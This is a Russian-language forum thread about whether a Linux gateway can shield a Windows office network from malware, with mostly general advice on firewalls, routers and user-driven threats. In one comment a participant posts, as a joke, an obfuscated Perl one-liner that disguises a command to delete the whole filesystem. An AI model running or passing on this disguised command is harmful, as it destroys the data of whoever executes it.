Защита виндовс сети с помощью линукс?

Question

[Djoni_08]

Помогите разобраться. Если я скажем интернет буду пропускать через линукс сервер который будет перенаправлять в сеть на виндовс. Выиграю ли я в безопасности от этого? Хотелось чтобы вредоносы для винды как-то оседали на прокладке линукса. Где найти инфу по настройке такого фильтра если это теоретически возможно.

Comments

[Yan]

secure dns+hosts

Answer 1

[#]

попробую коротко - нет. потенциал больше. но его надо изучать и уметь настраивать. но раз вы задаете этот вопрос - вы не умеете (даже самостоятельно учится.. гугл то всегда рядом ;)

ps в копилку https://ru.wikipedia.org/wiki/Vyatta
pps ну или мощную железяку, и MS ISA или MS TMG.. хотя и то и другое устарело, МС на них забил ))... да и не легален такой путь )) .. разве что виндузятникам проще чему то научиться ))

Comments

[Виктор]

Коротко и толково )

Answer 2

[АртемЪ]

Выиграю ли я в безопасности от этого?

Нет.
Если конечно специально настраивать не будете.

Хотелось чтобы вредоносы для винды как-то оседали на прокладке линукса.

Вредоносы это программы, и они нигде не оседают.

Где найти инфу по настройке такого фильтра если это теоретически возможно.

Что конкретно вы хотите защитить?

Answer 3

[Виктор]

ТС, поймите меня правильно, я не в обиду.
Полагаю что любого человека, для вас тоже, судя по вашему вопросу, лучше будет купить железку попроще, которую он сможет самостоятельно корректно настроить, чем брать что-то большое и сложное, в котором вы не закроете и не настроете то что нужно.
Будет стоять у вас как железная дверь без замка.
Если вы знаете винду лучше, танцуйте от неё.
Вы хотя бы будете понимать, где что прикрыть и поправить.

Либо, пробуйте "простые" линукс-based дистрибутивы, типа Керио контрол.
Там и защита от вторжения и антивирус, на которых что-то у вас "осядет".
Всё управляется простой веб мордой.

По вашему вопросу, нет.
Всё зависит от настройки.
Моё мнение - потенциально, линукс быстрее, надёжнее и гибче, в роли интернет шлюза.

Comments

[Adamos]

У произвольного (или даже специализированного) Линукса острее встанет человеческий фактор, чем у тех же Микротиков, где большая часть настройки все-таки сделана из коробки. А нужна ли в обычном офисе реальная гибкость - еще бабушка надвое вилами по воде...

[nrgian]

Adamos,

чем у тех же Микротиков, где большая часть настройки все-таки сделана из коробки. А нужна ли в обычном офисе реальная гибкость - еще бабушка надвое вилами по воде...

У Микротика все нормально с гибкостью.
Тут скорее дело в производительности.
Но если нет шифрования на внешнем канале - то и производительности хватит у обычного недорогого железного роутера.

[Adamos]

nrgian, да, у Микротиков все нормально с гибкостью, но у Линукс-сервера она выше. Правда, для обычного офиса эта разница некритична, а для неумелого админа - скорее опасна.

Answer 4

[CityCat4]

Ну, кое-что наверное выиграете, особенно если прокси поставите и запретите порносайты :)

Но основные вектора атаки - это не компы, а юзера. То есть приходит письмо секретарю от "налоговой", "суда", "приставов" или "делового партнера" - и пошел по сети криптор :D Поэтому защита сети - это обычно мероприятие комплексное и начинается оно с постановки задачи "Что и от чего мы защищать будем".

Answer 5

[Adamos]

По сравнению с роутером SOHO-класса, которые склонны сами заражаться и гадить в порученной им сети - вы, безусловно, выиграете, если справитесь. Также откроются возможности по блокировке всякой пакости на входе в сеть.
Но нет, от трояна в письме бухгалтеру вас Линукс не защитит.
А выше сказанное реализуется и на Микротике, например.

Comments

[Рональд Макдональд]

Учитывая, сколько дыр в ядре и сетевой подсистеме Linux, я бы не был столь в нём уверен.

[Adamos]

Рональд Макдональд, а еще, как только он станет популярным, под него тут же появятся вирусы. И фрагментация. А главное - переобучение сотрудников. Я ничего из гетзефактсов не пропустил?

[d-stream]

Adamos,

Я ничего из гетзефактсов не пропустил?

наверно самое исходное - что soho роутеры в большинстве своем на Linux, но

склонны сами заражаться и гадить в порученной им сети

)

[Adamos]

d-stream, да, спасибо, что напомнили.
Еще забыл, что Андроид - это тоже Линукс, а на нем вирусы!
Теперь, наконец, катехизис подоконников исчерпан? Или еще будем про страшную консоль? Судя по вопросу, ТС ее не боится...

[Рональд Макдональд]

Adamos,

под него тут же появятся вирусы

Лол, на неделе тут уже была тема с майнером, который проник в Бубунту непонятно как и майнил там свои файнтики.
С разморозкой, ядро Линукса уже давным-давно никто не называет безопасным.

[Рональд Макдональд]

О, ньюби-линуксоиды резвятся. Всё такое розовое, такое бизяпасное, такое новое и удобное в этом прекрасном чудесном Линуксе, где всё хорошо, нет уязвимостей а все новости про дыры и вирусы - гетзефактчина.

Это пройдёт.

[Adamos]

Рональд Макдональд, нет, не долетело. Набросьте поактивнее.

[d-stream]

Adamos,

да, спасибо, что напомнили.

пожалуйста.
Если включить мозг и выключить красные шторки на глазах, то окажется что проблема soho-linux-роутеров, плодящих вирусы - в криворукости, а не оси.
Осталось сделать последний шаг - прочитать что написал #

[Adamos]

d-stream, у SOHO-роутеров отнюдь не одна проблема. Там еще добрые инженеры, оставляющие себе "сервисные" бэкдоры во всю ширину аппарата. Плюс пользователи, которых вход "админ:админ" вполне устраивает...
И понеслись не только вирусы внутри, но и ботнеты снаружи. Впрочем, это уже за рамками вопроса.

[Владимир]

Рональд Макдональд, ничего страшного - ньюби-линуксоиды покурят iptables, selinux/apparmor и или контейнера и чуток станет безопаснее =)
З.Ы. ИМХО сеть и ядро редко бывают целью атаки, обычно отламывают сервисы, котоыре зачастую настроены недостаточно секурно.

[Adamos]

Владимир, "редко" - это очень мягко сказано. Особенно если мы говорим про защиту обычного офиса.

[d-stream]

Adamos,

Там еще добрые инженеры, оставляющие себе "сервисные" бэкдоры во всю ширину аппарата. Плюс пользователи, которых вход "админ:админ" вполне устраивает...

теперь из этой "формулы" убираем каких-никаких инженеров....

а потом в итоге

cat "test... test... test..." | pеrl -е '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;sеe'

[Adamos]

d-stream, ну, эта уязвимость несколько в других ядрах... ;)
Хотя в офисе, где админят гуглением, она пострашнее многих вирусов будет.

[d-stream]

Adamos, именно
притом от некоторых наркомания типа netplan… еще и в an mass уходит )

Answer 6

[Максим Ярошевич]

В описанной конфигурации Linux не поможет. Снаружи надо ставить или программное решение, например, Kerio Control или что-то подобное, или настраивать аппаратный файрвол, в таком случае получится защитить сеть. Хотя главная проблема сети - это, конечно, пользователи.